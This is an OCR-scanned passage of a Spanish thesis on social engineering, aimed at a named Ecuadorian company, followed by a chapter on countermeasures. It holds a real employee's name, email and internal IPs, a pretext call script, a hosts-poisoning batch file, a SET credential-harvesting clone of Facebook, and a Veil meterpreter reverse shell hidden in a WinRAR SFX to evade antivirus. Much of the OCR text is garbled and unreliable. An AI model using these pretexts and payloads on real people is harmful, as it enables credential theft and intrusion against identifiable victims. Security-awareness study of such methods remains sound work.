búsqueda. Damos en el tercer link de la búsqueda de google para

ver que nos muestra
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Figura 3-7. Resumen de emisión de obligaciones de vict¡ma
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En la figura 3-7. nos muestra un re sumen de emisiones de

obl¡gaciones. esta información es mucha relevancia.
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Es buena prác1ica el usar henamientas como google para obtener

información de empresas que se desean conocer, por lo general

es muy habitual poder encontrar interesante y relevante

información. [REF50]

Figura 3-8. lnformación obten¡de de facebook de la v¡ctima

Se obtiene un correo valido. para solicitar información básica.

Buscando en facebook, obtenemos un correo y un número

adicional para comunicarse. Luego de la ¡nformación obtenida del
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facebook. encontramos otro número y la división de sus

productos, que el cual se utilizará para seleccionar una vÍctima.

3.1.3 lnformación obtenida de la selección:

De la información recolectada se puede realizar una pequeña

tabla para poder ordenarla y tener una base para continuar.

Tabla 3-1. lnformec¡ón recoleclada de la víclima

Detalle

Cdla, Vernaza Norte Mz 21, Solar 2,6,7 y 8

(s934) 2291065 - 2205755 - 2290883 - 6-

01'1450

Dominio: Carsegsa com

Productos: Divisiones: Rastreo, Monitoreo, Carga,

Asistencias, Accesorios

Se puede resaltar como en un breve análisis, de la empresa la

cual incluso puede ser obten¡da de esquemas anter¡ores se puede

obtener una base con datos relevantes para un ingeniero social.

lnformación relevante

Razón social:

Contactos:

CARRO SEGURO CARSEG S A

Alex Ripalda Burgos - Presidente

Guido Jalil Perna - Vicepresidente Ejecutivo

www. hunter. com. ec

Dirección de la empresa:

Pagina web:

Teléfonos
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3.2. Paso 2: Seleccionar una Victima

En este paso se busca poder determinar un canal de comunicación,

enfocado a una víctima por el cual podamos obtener información más

detallada. Este canal debe ser directo con la persona que se encuentre

dentro de la empresa.

Fiqura 3-9. Esquema para la selecc¡ón

Este paso, ¡ntroduce un concepto de selección de víctima, ya que los

anteriores esquemas se han centrado en la búsqueda vulnerabilidades

en los equipos físicos como servidores y redes,

I

A}'AIZAR

IXVE SIIGAR

SELECCIOI{AR

-

EXPLOTAR consfRUtR
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El aporte se centra en poder enfocar la búsqueda de vulnerabilidad de

las personas, ¡ncluso si los sistemas son altamente seguros. Por esta

razón, la búsqueda de un complemento que ayude a cubrir la mayor

cant¡dad de vulnerabilidades es indispensable

En esta etapa se pueden selecc¡onar una o varias vÍctimas, incluso de

varios departamentos. Y es indispensable el ¡nteractuar con la misma, y

lograr un grado de confianza que poco a poco puede tr crecrendo.

Siguiendo el esquema de la v¡ct¡ma selecc¡onada, se toma la información

recolectada y resumida en la tabla 3-1. Con esta primera investigación

tenemos dos nombres interesantes, el del Sr Presidente y el Sr

Vicepresidente de la compañía

Una buena práctica es comenzar con las asistentes de los altos mandos,

ya que es usual por la gestión que realizan deben tener acceso a mucha

información y muchas páginas como las redes sociales.

3.2.1 Puesta en marcha selección de una víctima:

Con la información pública básica obtenida, se arma un script o

dialogo básico para poder tener contacto con la persona que se

va a seleccionar.

Se realizará la llamada, al número que encontramos, y solicitamos

hablar con la asistente de la Vicepresidencia Comercial,

Tebla 32. D¡alogo para selecc¡onar una vicrima.



lngeniero Social:

lngeniero Social:

Victima:

M¡ nombre es Mónica Lopez, en lo puedo ayudar?

Disculpe, a que correo le puedo enviar nuestro portafolio,

con la información solicitada?

Puede enviarlo a mlopez@carsegsa. com

Perfecto, le envio un correo en unos minutos sol¡citando

conf¡rmación, para estar seguro, y un segundo con la

información de nuestro portafol¡o.

Muchas gracias eslaremos atentos

DialogoAgente

lngeniero Social:

Victima Buenos DÍas, en que lo puedo ayudar?

Buenos Días. con la asistente de Guido Jalil?

Victima: De parte de que empresa?

Somos una empresa que provee soluciones de equipos de

rastreo, somos Secury Recovery Tech.

Con quien tengo el Gusto?

Buenas Tardes con qu¡en tengo el placer?

Atacante: Soy Rafael de la Peña Gerente de Venta,

deseamos hacerle llegar anformación de nuestros productos

en la línea de rastreo y monitoreo. El Sr Guido Jalil me

solicito que me comunique con su asistente para enviarle

información de nuestros productos.

Con quien tengo el gusto?

lngeniero Social:

Victima:

Victima

lngeniero Social:

Victima:

lngeniero Social: A usted Señorita Mónica

140

l
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Con el dialogo desqito en la tabla 3-2, se procede a envrar un

correo a la asistente de la Vicepresidencia desde un correo

personal falso previamente creado, confirmando si el coneo llego

de forma adecuada.

Tabla 3-3. Mail a la vidima selecc¡onada de confirmación

Buenos Días,

Por favor nos podría confirmar la cuenta de correo de

mlopez@carsegsa.com

Quedamos atentos a su OK,

lng. Rafael de la Peña

Gerente de Ventas.

Luego se recibe un correo, con la confirmación, el cual se procede

analizar a nivel del encabezado del correo. Ver la sección 8.1 del

apéndice B, para el encabezado completo.

Tabla 3-4. Encabezado Mail de la victima

Authentication-Results: hotma¡l com; spf=pass (sender lP is 190.95.210 34)

smtp. ma¡lfrom=mlopez@carsegsa. com; dkim=none

header d=carsegsa.com; *-¡¡6¿=pass header. id=mlopez@carsegsa.com

Mail - Confirmación

Encabezado del Mail - Confirmac¡ón

2

I Fita 
I

I
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De la tabla 3-4 se puede obtener información muy interesante que

puede ser usada para construir escenarios de ataques. Como por

ejemplo la ip de la máquina de origen, la ip del router, el nombre

de la maquina origen.

3.2.2 lnformación obtenida de la selección:

De la información analizada de la víctima se puede armar la

siguiente información

Tabla $5. lnformec¡ón obtenida fase de selecc¡ón.

Detalle

Nombre de la victima Monica Lopez

Correo de la vict¡ma m lopez@carsegsa. com

I Received: from ma¡l.carsegsa.com ([f 90 95 210.34]) by BAYO-MC1-

F46. BayO. hotmail com with Microsoft SMTPSVC(6. 0. 3790 4900);

11 Received: from carsegsa.com (mail.carsegsa com [10 100 89 4])

'14 Received: from SECVIPTS (lgyesecT5 grupoc€rseg com [10 100.89.75])

15 by carsegsa com (Postfix) with ESMTP id M79161C6D3

16 for <rafaelpena@hotmail com>, Wed, 14 Aug 2013 09:43:26 {500 (COT)

17 From. "Monica Lopez" <mlopez@carsegsa. com >

18 To: '"Rafael de la Peña" <rafaelpena@hotmail.com>

21 Subject RE Portafolio

lnformación

r 3 ] for <rafaelpena@hotmail com>; Wed, 14 Aug 20'1 3 09 43.28 -0500 (ECT)

l
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Esta tabla refleja, que se ha podido obtener una relación con la

posible victima selecc¡onada, y que podemos enviarle

información, sabiendo que será bien acogida.

Es importante resaltar que esta etapa se debe tomar algún tipo de

contacto con la victima. para poder seguir a los siguientes pasos

de forma adecuada.

Hasta el momento se ha obtenido información de la empresa y

victima sin necesidad de llegar ejercer algún ataque informático

de forma directa.

3.3. Paso 3: Técnicas de lngenieria Social - Construir

EI objetivo que busca este paso es poder elaborar en base a la

información y posible vrctrma selecc¡onada anteriormente. unos posibles

escenar¡os para evaluar, ¿Qué tan fácil es la víctima en facililar

información?

lp de la vrctrma 10100 89 75

lp del servrdor de coneo 10100.89 4

Nombre de la maquina I gyesec75. grupocarseg. com

lp publica de la empresa 190 95 210 34
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En esta paso se debe poder generar más de un escenario, y probar en

cuantos estos se puede tener un caso de éxito, para su análisis. Cabe

indicar que el éxito de este pasó está ligado al expertis del ingeniero

social, para elaborar escenarios conv¡ncentes.

Figura 3-10. Esquema para la construcción

3.3.1 Escenar¡os a constru¡r.

Basado en que el contexto es poder vulnerar a una persona que

trabaja en una empresa se propone los siguientes escenarios

Tabla 3-6. Escenarios sugeridos

Archivo adjunto infectado, enviado vÍa email

ARCHIVO BASE

I I

Escenarios Detalle

Escenario 1

INVEST]GAR

AXAIZAR
SELECCIOIIAR

EXPLOTAR



Escenario 2

Escenario 3.
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Clonación de página web de red social

lnfección de un medio de almacenamiento USB

Los escenarios propuestos se pueden realizar desde una red

exlerna, o desde la red interna de la empresa, esto depende del

nivel de complej¡dad, pero como el objetivo es evaluar la

vulnerabilidad de las personas, los escenarios 2,3 y 4 serán

construidos desde la red interna de la empresa.

Otros escenarios pueden ser incluidos dependiendo de las

necesidades y la información recolectada.

3.3.2 Herramientas selecc¡onadas para escenarios.

Una vez listado los escenarios, se procede a la selecc¡ón de las

herramientas más adecuadas para poder construirlos.

Tabla 3-7. Material para escenerios

Herramientas Detalle

RASPBERRY elemento 14 con sus accesonos

Kali versión más recienteSistema operatrvo

l serv¡dor

Kat de herramientas para ingenieros sociales

ALFA - o que sea compatible con Raspberry

SET

Pen Drrve

Tarjeta inalámbrica

USB
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3.3.3 Construcción de escenarios.

En base a los materiales seleccionados, se procede a armar los

escenarios antes descritos de forma más detallada.

Antes de proceder a los escenarios seleccionados, se debe

configurar el servidor Raspberry, ¡nstalar el sistema operativo Kali.

y configurar las direcciones lP. Este servidor será instalado dentro

de las instalaciones, conectado a una red inalámbrica abierta que

se localizo.

3.3.3.1. Pasos previos: Kali + Raspberry + §g['

Configurar el sistema operativo Kali sobre Raspberry.

Ver la sección C.1 y C.2 del apéndice C.

Configuración de Acceso al Raspberry por SSH. Ver la

sección C.3 del apéndice C.

lnstalac¡ón de PUTTY15. Ver la secc¡ón C.4 del

apéndice C.

Configurar SET. Ver la sección C.5 del apéndice C.

Configuración de VEIL-EVASIONI6. Ver la secc¡ón C.6

del apéndice C

't Pu.I-ry es un cliente SSH, Telnet, rlogin, y TCP raw con l¡cenc¡a l¡bre

'6 Veil-Evasion.- Es una henamienta que permite generar paylods que no sean detectados por

el antivirus
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lnstalación f Ísica del Raspberry

3.3.3.2. Construcción Escenario 1 - BASE:

El escenario '1, busca realizar un ataque que permite

modificar los archivos host, del computador de la víctima.

de tal forma que permita redireccionar las págrnas que

deseamos a una falsa.

Se lo llama Escenario BASE, ya que permite que los

próximos ataques sean transparentes.

Tabla 3-8. Construcción Escenario 1 - Base

Coneo electronico

Kalr Linux

Victima seleccionada (As¡stenc¡a de Gerencia)

Tener el correo de la víct¡ma

De 5 a 10 ( es una página de acceso común)

Para este escenario se crear el archivo a envrar por correo

electrónico, a la máquina de la víctima.

PARAMETRO DESCRIPCION

NOMBRE DEL ESCENARIO Archivo infectado - BASE

Modificar el archivos host de la máquina de la

v¡ctima para poder redireccionar nuestro

sitro falso.

OBJETIVO

MEDIO OE COMUNICACION

HERRAMIENTAS

VICTIMA

PRE-REQU ISITO

TIEMPO DE LA PRUEBA
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Se crea un archivo BAT, con el programa NOTEPAD, con

la siguiente información.

Tabla $9. Archivo Porlafo¡o.bat

Creación de archivo BAT

Echo off

Echo 10100 89 76

http:i/www,facebook. com/>>C.\Windows\System32\driver\etc\hosts

Se graba el archivo con el siguiente nombre y extens¡ón

Portafolio.BAT. El archivo hosts, es el primer lugar donde

consulta nuestra máquina para poder traducir una dirección

URL, a una dirección lP, si no lo encuentra procede a

buscar en los DNS configurados.

Las paginas que pretende falsificar es de una red social -
facebook.

Figura 111 . Portafolio.bat

El archivo puede ser enviado al destinatario,

comprimiéndolo. El mismo de por s¡ no es detectado como

una amenaza

-¿2
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3.3.3.3. Construcción Escenario 2:

La construcción del escenario 2, busca poder tener acceso

a la máquina de la víct¡ma, sin necesidad de interactuar con

ella, esto debido a que el archivo antes enviado permite

modificar el redireccionamiento permitiendo poder crear

una página falsa de la red social del Facebook.

Tabla 3-10. Conslrucción Escenario 2

NOMBRE DEL ESCENARIO Clonación pagina de red social Facebook,

OBJETIVO Clonar la pagina de red social Facebook, y

obtener información personal de la

vict¡ma

MEDIO DE COMUNICACION HTTP

HERRAMIENTAS Kali Linux

VICTIMA Victima seleccionada (Asistencia de Gerencia)

PRE.REQUISITO A ver enviado el archivo Portafolio.bat

TIEMPO DE LA PRUEBA De 5 a 10 (es una página de acceso común)

Para configurar este se escenario se conecta al raspberry,

para su configuración.

PARAMETRO DESCRIPCION



150

Una vez conectado se ingresa a al raspberry por medio del

programa PUTTY, accediendo a la interfaz terminal, desde

ahí digitamos el siguiente comando. lkel-loolkit

Se mostrara una intelaz en modo texto con las opciones

del kit de herramientas para ingenieros sociales.

Figura 3-12. lntelaz de sET

Dentro de esta ventana se procede a escoger la opción 'l .

" Social-Engineenng Attacks". El mostrara otro menú de

texto para poder seleccionar.

I

l.r l@¡¡ t ¡, ¡ toúct ol ¡rr.t.r

¡aa!rrE.sr!-aats,c

J' ¡ar-.-.ra - httv

5

I
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Figura 3-12. lnlerfaz de Soc¡al-Engineering Atlacks

Luego se procede a escoger la opción 2) "Website Attack

Vector"

Figura 3-13. lnterfaz de Websile Allack Veclor

(,

l-.
'¡
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Luego se procede a es@ger la opción 3) "Credential

Harvester Attack Method" e inmediatamente la opción 2)

"Site Clone/'. Luego se solicitara que se ingrese

información necesana para poder realizar la clonación y

posterior ataque.

Tabla 3-11. Parámetros solicitados Escenario 2.

Parámetro Dato a ingresar

NAT/FOWARD

IP ADDRESS 192 168.89.76

URL

NO

HTTP./AAMM FACEBOOK. COM

Figura 3-'14. Parámetros solicitados - Websile Atlacl Vector

A continuacrón Se verifica que la pagina este clonada

correctamente. lngresando a la ip asignada desde un

navegador que se encuentre en la misma red o la maquina

local.

I

I
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F¡gura 3-15. Página Facebook cloneda

Con esta configuración se puede obtener informacrón

personal de la víctima, hay que considerar que tenga

acceso a la página clonada.

3.3.3.4. Construcción Escenario 3:

El escenario busca infectar un medio extraíble como una

memoria USB, en el cual se tenga un archivo oculto con

código malicioso y que permila poder tener acceso a la

máqu¡na de la víctima, este ataque es altamente peligroso,

ya que podrá tener acceso a toda la información que esta

almacenada en la máquina de la empresa.

tl

EI

f¡eeboolr
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Tabla 3-10. Construcc¡ón Escenario 3

3.3.3.4.1. Creando Archivo con Veil

Para el escenario 3 se va crear un archivo para ser

puesto en un pen drive con un archivo que este

rnfectado con un fragmento de código que permita

tener control de la computadora infectada.

Para este escenario se va utilizar la herramienta

Veil-Evasion, que es una herramienta que permite

generar payloads basado en metasplo¡t, con la

finalidad de no ser detectado por la mayor cantidad

de antivirus.

PARAMETRO DESCRIPCION

NOMBRE DEL ESCENARIO lnfección memoria USB

OBJETIVO

MEDIO DE COMUNICACION

Crear un arch¡vo que perm¡ta tener el

control de la computadora de la víctima.

Memona USB - Abriendo un puerto 4444

HERRAMIENTAS Kali Linux. VEIL

VICTIMA V¡ctima seleccionada (Asistencia de Gerencia)

Direcc¡ón fís¡ca para env¡ar el USB infectado

3 d¡as

PRE.REQUISITO

i re¡r,rpo DE LA PRUEaA
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Para instalar esta henamienta se sigue los

siguientes pasos

Tabla 3-10. Pasos a sequir para instalar Ve¡l

root@kali-:#cd

root@kali-:#.^/eil-Evasion. py

Y si todo está en orden aparecerá la siguiente

pagrna

COMANDOS

root@kali*r# git clone http.//github.com/ChrisTruncertueil. git

root@kali-:#cd Veil/

root@kali-:#cd setup/

, lar6*r. turw

F¡gura 3-16. Marco de Trabeio de Veil

root@kali-:#./setup. sh

¡
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Desde este punto podremos crear nuestro archivo

ejecutable que contenga un código malicioso, que

perm¡ta atacar la computadora de la víctima.

Para la creación del archivo se detalla en la sección

c, del Anexo 3. Para ello se utilizó la siguiente

información:

Tabla 3- 10. Parámetros para crear archivo infedado

Paém€tro Detalle

Lenguaje

Payload Python/shellcode_injecUaes_encrypt

Shellcode Windows/meterp reter/reverse_tcp

Opciones Requeridas LHOST='10.1 ffi.89.75 LPORT=4444

Nombre del archivo Testo1.py

ft¡thon

Arch¡vo Handler I Test()lt- handler.txt

El archrvo ¡nfectado se encuentra en la s¡guiente

ruta

Figura 3-17. Rula del arch¡vo infedado creado con Ve¡l
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Para crear el listener el recurso se encuentra en la

s¡guiente ruta

F¡gura 3-18. Ruta del l¡stener creado con Ve¡l

3.3.3.4.2. Ocultando el archivo infectado

Una vez que se tiene el archivo creado, para ser

enviado por mail, una táctica muy popular, es

poder ocular el archivo dentro de otro archivo,

para esta técnica se debe tener dos archivos, el

primero es el archivo infectado y el segundo un

archivo. Creando el archivo para enviar por mail,

se utiliza dos archivos, para ocultar el ejecutable

que contiene el código malicioso. Y el programa

WINRAR en su versión gratuita

Tabla 3-11. Parámetros para ocultar archivo infeclado

Paámetro Detalle

Archivo 1 TestO1 .exe. Archivo con el código malrcioso

Arch¡vo 2 Hunter.pps. una presentación de la em
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Figura 3-19. Arch¡vos para ocultar archivo infeciado

Se siguen los siguientes pasos para ocultar el

archivo:

Paso 1: Se selecciona ambos arch¡vos y se da clic

derecho, para luego selecc¡onar, agregar arch¡vo

Figura 3-20. Cl¡c derecho sobre los archivos para

ocultar.

Se selecciona "Create SFX archive", luego se va a la

pestaña "Advance".
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F¡gura 3-21 . Opc¡ones Avanzadas del WINRAR

En la pestaña "Advance" se selecciona, "SFX

options"

F¡gura 3-22. Opciones Avanzadas del WINRAR -
Opciones SFX.
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Se abre otra una ventana con varias opciones, las

cuales se configuran a continuac¡ón. Configuración

de la pestaña "General" de "Advance SFX options".

Tabla 3-12. PaÍámetros Avanzados - ocullar arch¡vo infectado

General

PaÉmetro Detalle

Abolute path.

Save and restore paths

Run after extraction testol .exe

Run before extraction. Hunter.pps

Advance Request administrator access.

Modes Hide all

Update Extract and replace file



161

IE

a-É-a.--

l-.to ld.

- 
I ¡-.r

¡6n-?'t

üE

/i..6É-.ü

E

- 
,a-.

. a-r -úút¡L

F¡gura 3-23. Conf¡guración f¡nal - Opc¡ones SFX

Luego se genera un arch¡vo ejecutable el cual

cont¡ene dos archivos, una presentación para Hunter

que se ejecuta automáticamente, y el archivo

infeclado que se ejecuta de forma oculta.
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F¡gura 3-24. Arch¡vo flnal con el arch¡vo oculto

Para poder enviar el arch¡vo por correo electrónico

se debe comprimir en formato "zip".

Figura 3-25. Archivo f nal comprimido con el archivo oculto

Antes de enviar el archivo comprimido, se realiza

una comprobación con un antivirus local,
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Figura 3-26. Antivirus no detecta el arch¡vo oculto en la presentac¡ón
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3.4. Paso 4: Explotar la relación con la Victima.

El paso de explotación se busca ejecutar los escenarios creados

en el paso anter¡or, y recolectar los resultados obtenidos.

F¡gura 3-27. Esquema para la Explotación

3.4.1 Explotación de escenario I

De la relación obtenida con la v¡ctima de la empresa víctima se

prepara otro coneo para ser enviado, respondiendo sobre el

correo antes recibió ¡ndicando que se adjunta la presentación,

para este efeclo se adjunta el archivo antes generado.

I)

AIAI..EAR

XvESTEAR

si

cofl§rRtE

(

Ex'PLOIAR



164

'l(:¡A:a¿==i
t'ro ,Ér.i¡[úr d.,rrsÚs ¡Ea,rr§!

F¡gura }'28. Envío de coreo con el ad¡unlo - Porlafolio.zip

Luego se llama para realiza¡ la confirmación. Como el archivo no

muestra n¡nguna información, esperamos una negativa de que el

arch¡vo no pudo ejecutar. Con esta confirmación sabremos que se

pudo modificár el archivo "C:\W¡ndows\System32\driver\etc\hosts",

de la máquina de la víctima. Y con ellos se puede proceder a

realizar el ataque de nuestra página falsa.

3.4.2 Explotación de escenario 2

Luego de que el archivo Poñafolio.zip fue ejecutado en la

máquina de la victima se procede a ejecutar desde nuestro

Raspberry se ejecuta los comandos antes explicado para el

escenario 2.

I



165

Esto nos genera la pagina falsa de la red social FACEBOOK, y se

espera a que se conecte la victima. Cuando la víct¡ma se conecta

sale información que muestra su usuario y clave.

Figura 3-30. Escenario 2. obtenc¡ón de usuar¡o y calve de la vict¡ma

Para la vÍctima es trasparente esta página ya que el ingreso a la

misma se realiza y cada vez que se conecte a Ia pagina false se

podrá extraer informac¡ón.

3.4.3 Explotación de escenario 3

En el escenario 3, se vuelve a enviar un mail, basados en que se

solicito que se envíe nuevamente el archivo, pero en esta ocasión

se adjunta el archivo creado para el escenario 3.

Figura 3-29. Escenario 2, esperando a que se conecle una v¡ctima

.t

I
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Figura 3-31. Escenar¡o 3. envío de adjunto archivo infeclado

Cuando la victima lo recibe el archivo lo ejecuta y descarga los

archivo en el "C./', y se eiecuta primero Ia presentación, y al

momento de cerrarla, se ejecuta nuestro archrvo infectado, que

perm¡te tener el control de la máquina de la victima.

Una buena estrategia, es enviar la presentación lo más real

posible, ya que esta puede ser enviada a varios directivos y así

poder infectar varias maquinas a la vez.

Para poder saber s¡ el archivo infectado fue ejecutado

correctamente se ejecuta el archivo generado en el escenario 3

I

I

I

m

I
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Tabla 3-13 Escenario 3 - Ejecución de comando para escuchar

Parámetro comando

TestO1 handler.rc msfconsole { testo1 handler.rc

Figura 3-32. Escenario 3, ejecutando el comando para escuchar

Cuando la victima ejecuta el archivo presentac¡on. exe. nuestra

consola nos muestra la siguiente imagen

I I
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Figura 3-33. Escenario 3, conexión exitosa

La información que se muestra en la figura 3-32, indica que se

tiene un terminal remoto hacia la computadora de la victima.

3.5. Paso 5: Análisis de la información.

El objetivo de este paso, es analizar la información recolectada, y el

comportamiento de la víctima o victimas seleccionadas.

II

Figura 3-34. Esquema para el Análisis
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El análisis de la información se evalúa desde el punto de vista de la

calidad de información obtenida y de que tan d¡fíc¡l fue obtenerla. Es

prudente poder realizar un análisis del comportamiento de la victima a lo

largo de los pasos, de cómo la información ha fluido y como es sensible

a ser obtenida.

3.5.1. Análisis información

Se debe analizar cada uno de los escenarios y poder ver su

relevancia, hay que tener en cuenta que un escenario no se

obtuvo información relevante también hay que considerarlo y dar

su análisis Del análisis se puede generar contramedidas

adecuadas y personalizadas.

3.5.1.1. Análisis Escenario 1: Envío de Adjunto con error.

En el escenario se pudo enviar el correo eleclrónico con un

archivo que permite modificar el comportamiento de

navegación por internet sistema operat¡vo.

Tabla 3-14. Escenario 1 - Análisis de resultados

Parámetro Resultado

Envío de correo

electrónico con

adjunto

"Portafolio.zip"

El archivo llego correctamente a la víctima, y se

confirmo que este fue ejecutado.



Comportamiento

de la vict¡ma
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La v¡ct¡ma demostró ¡nterés en poder recib¡r la

información solicitada, el deseo de ayudar está muy

presente.

Con este resultado, podemos analizar que se ha podido

lograr un canal con la víctima.

3.5.1.2 Análisis Escenario 2: Falsificación de página web

En este escenario se realizó un ataque para clonar la página de la

red social de la víctima, esta pág¡na web es visitada por los

empleados para verificar su vida personal en momentos de óseo.

Tabla 3-15. Escenario 2 - Análisis de resultados

Usuario v Se obtuvo información personal de la victima

Contraseña

Comportamiento

de la victima

La víctima tenía la costumbre de ingresar a la

página de red soc¡al con frecuencia

La información que se ha obtenido de perfil de la red soc¡al, con

ello se puede conocer los amigos, y con quien tiene comunicación

más frecuente en la red

Con este escenario se demuestra cómo se obtiene información

Paémetro Resultado

personal de la victrma dentro de la empresa
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3.5.1.3 Análisis Escenario 3: Archivo lnfectado.

En este escenario se realizo un ataque enviando un archivo

infectado antes creado, y esperando que el usuario lo abra,

en ese momento se realiza el ataque. como se pudo

apreciar en la construcción del escenar¡o este archivo no

fue detectado por el ant¡v¡rus.

Tabla 3-16. Escenano 3 - Anál¡sis de resultados

El tener una ventana de comando de la computadora de la

vÍctima, es uno de los ataques más peligrosos ya que esto

implica que el atacante t¡ene acceso a toda la información

de la máquina de la victima pudiendo obtener la misma sin

que se diera cuenta. Lo peligroso de enviar este archivo es

Parámetro Resultado

Shell de la

computadora

de la victima.

Se logro obtener una ventana de comando de la

computadora de la victima.

Comportam¡ento

de la victima

La víctima se confío como medida de

protección el antivirus instalado en su

computadora.
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que si este es reenv¡ado a varias maqu¡nas, se obtiene una

ventana de comando por cada usuario nuevo.

El poder lograr tener éxito de este tipo de ataque implica

que la ¡nformación dentro del a empresa es muy vulnerable.
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CAPITULO 4

4. Contramedidas para las amenazas internas

De la revisión de los capítulos anteriores, se puede denolar la

importancia de tener reglas claras de cómo proceder ante cualquier

traspaso de información de la empresa, ha esto salta la importancia de

poder contar con una Politica de Seguridad, un documentación formal

legal y del apoyo de la alta directiva

El objetivo de este capítulo es poder ofrecer algunas cons¡deraciones,

para Ia empresa basada en los ataques o posibles ataques dentro de

una empresa, no es intensión poder abarcar lodas las medidas pero si

dar una guía básica de su importancia a tener en cuenta.

Las contramedidas se aplican para contrarrestar las amenazas y

vulnerabilidades y de este modo reducir el riesgo en el entomo

empresarial. Una vez aplicadas todas las contramedidas para reducir las

amenazas y vulnerabilidades, sólo quedan riesgos residuales.

Las contramedidas son entonces, las políticas de seguridad apoyadas

por todos los med¡os técnicos o de procedimientos que se aplrcan y

desarrollan para atender vulnerabilidades y frustrar ataques especÍfrcos.
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Una buena práctica es poder desarrollar una política, que indique los

procedim¡entos claros de cómo tratar la información sensible para le

empresa.

Una política que está orientada a la misión, visión y ob.ietivos claros de

los recursos de red e información sensible de la empresa.

4.1. Desarrollo de Politicas

El objetivo es gue después de realizar un set de pruebas, y de la

rnformación obtenida en cada uno de los escenarios planteados, se

demuestra la importancia de concient¡zar al usuario de las diferentes

amenazas.

El desarrollo de la policita debe estar orientado al proceso y de la forma

como se puede asegurar la información de la empresa, e ¡ncluso de la

persona.

No es el objetivo de este documento el crear politicas para la empresa,

mas sino el poder dar las pautas y seguimiento para futuras

investigaciones de cómo poder elaborar esenarios para evaluar los

riesgos y asi elaborar politicas bajos estándares de seguridad. Pero si

dejar en constancia el incluir dentro de las políticas generales, una

secc¡ón orientada al cuidado de la empresa orientada a las

vulnerabilidades de las personas.
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Un conjunto de buenas prácticas ampliamente recomendada es la

NORMA lSO. es su versión 2700117 y actualizaciones

4.1.1. Consideraciones para crear una policita de Seguridad.

Algunas cons¡deraciones a tener en cuenta como una base para

crear una politica de seguridad dentro de la empresa.

'1 . La política debe tomar en cuenta las características particulares

de la empresa, se debe tomar en cuenta el mntrol que se va

realizar, dentro de la empresa.

2. Una recomendación sana es que para que la política tenga el

impulso adecuado dentro de la empresa, se deberá aprobar por la

alta directiva, publicar y comunicar a las personas adecuadas.

3. Se debe considerar que los camblos tecnológicos deben tener

una alta relevancia, y que la revisión de la politica está ligada a

estos cambios.

4. Debe haber un responsable para el manten¡miento de la política, y

difusión de la misma. De preferencia del área de tecnologia

" tSO ZZOOI. es un elánder pera la seguridad de la información (lnformat¡on technology -

Security techn¡ques - lnformet¡on security manegemenl syslems - Requirements) aprobado y

publicádo como estándar ¡ntemacional en ociubre de 2005 por lntemational Organization for

Standardization y por la comisión lntemational Eleclrolechnical Commission.
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4.1.2. Análisis para el desarrollo de políticas

Del anál¡sis de los escenarios creados paru evaluar la

vulnerabilidad de la empresa seleccionada, se propone las

sigu¡entes pautas para poder que sean la base de crear políticas

de seguridad teniendo en cuenta las vulnerabilidades expuestas:

Tabla 4-1 . Anál¡sis para el desanollo de polit¡c€s

OTROS

ESCENARIOS

Políticas de bloqueo automático de los equ¡pos informáticos.

Habilitar logs para validar que los usuarios sepan que la pagina

a la que ingresen es la conecta.

Política de conf¡guraoón el coneo corporativo para no rec¡bir

archivos ejecutables.

Polít¡ca para información personal, no fac¡litar coneos

Análisis

Escenario 1

Escenario 3

Polit¡ca para solicitar información de la empresa que contacta a

la empresa victima, cedula, revisar el nombre de la empresa

con el área legal. Solicitar referenc¡a de la misma.

Si se percata de un link no adecuado, se debe anunc¡ar

inmediatamente al área de seguridad informát¡ca.

Archrvos que sean ejecutables, no deben ser e,ecutados como

polic¡ta, y se lo hace se debe anunciar al área técn¡ca.

Si se recibe informac¡ón de un falso cliente, no hay que

difundirla por ningún medio.

IPARAMETRo I

Escenario 2

-+
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Áreas de Riesgos y contramedidas

Otro método adecuado es amar una estrategia basada

en las áreas de riesgo y el tipo de ataque que puede ser

vulnerable. Y con este análisis se puede armar una

estrategia de contramedida.

personales, eslo porque a veces el coneo corporativo tiene

restncciones

Política para visitas físicas, debe tener un registro con una

¡dentif¡cación, esto se lo debe manejar de forma ágil

Políticas para equ¡pos no seguros como: laptops, teléfonos

inteligentes, tabletas, deben tener una gestión de respaldo

personalizado, ¡ncluyendo bonado automát¡co.

Pol¡t¡cas para realizar Ataques de ¡ngen¡ería soc¡al, para testear

las vulnerab¡lidades, esto se lo realiza creando nuevos

escenarios, y algunos ya antes probados.

Políticas de concientización y difusión de la cultura de

seguridad.

Polít¡cas de cámb¡o de passwords.



Tácticas Atacante

Adiv¡nar password

Encuestas,

actualización de

datos falsos

Anexos con archivos

¡nfectados.

Personificación falsa.

Sol¡citar contraseñas

por teléfono, ayuda

técnica.

Persuasión para

solicitar información

personal

Tabla 4-3. Área de Riesgo Teléfonos y contramedida
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Ref uerzo continuo del conoc¡miento

de los cámb¡os a los s¡slemas y

redes

Entrenamiento en el uso de

contraseñas

lnducción en la creación de

contraseñas fuertes

Entrenar a los empleados y

ayuda técnica para nunc¿ dar

conlraseñas u información

conf¡dencial por teléfono.

Controlar llamadas de larga

distancias.

Reusar la trasferencia de

llamadas sospechosas.

Solicitar rnformación como

cedula, teléfono de la empresa, y

celular.

Tabla 4-2. Área de Riesgo lntemet y contramedida

Estrateg¡a de contramedida

Tácticas Atacante Estrategia de contramedida

I

L



Tabla 4-4. Área de Riesgo Acceso físico y contramedida

Tácticas Atacante
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Entrenam¡ento del uso de

¡dentif icaciones adecuadas.

No escribrr contraseña con

algu¡en v¡endo.

Restringir uso de fotocop¡adoras

y escáner, sobre todo de

documentos sensibles.

Mon¡torear el acceso f¡s¡co de

los serv¡dores.

Tener un Acc€ss point separado

de las redes de la empresa.

Marque la ¡nformación que sea

confidencial y su manejo

apropiado.

pagrnas

desde

que

password

Tabla 4-5 Área de Riesgo Fuera de la oflcina y contramedida

Tácticas Atacante

No conectarse a

Acceso fis¡co no

autorizado.

Espiar sobre el hombro.

Robo de documentos

escaneados.

Paseo por los pas¡llos.

Acceso a los servrdores,

redes ¡nalámbriers que

tenga acceso a lps de

empleados.

Reuniones fuera de

oficinas, pueden a

ver Access Po¡nt

Falsos.

VPNs conexiones

desde la cása.

extema desde su equipo

req ure ra n

conexrón

una

móvil de traba,o. Navegar en lo

estrictámente lo neceserio.

Entrenar a los empleados de las

diferentes tácticas de los hackers.

Estrateg¡a de contramedida

Estrategia de contramed¡da

I



Tabla 4-6 Area de Riesgo Escr¡torio y contramedida

Tácticas Atacante Estrategia de contramedida
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. Cerrar los armarios y cajones con llave

después del horano de trabajo, y guardar

la llave en un lugar seguro.

. No deiar equipos portátiles o informát¡cos

con información confidencial, o sensible

sin ningún tipo de seguridad. Deben

tener al menos una restncción de acceso

a los mismos.

. AI ale¡arse de la computadora o sitio de

traba.lo, se debe dejar bloqueada o

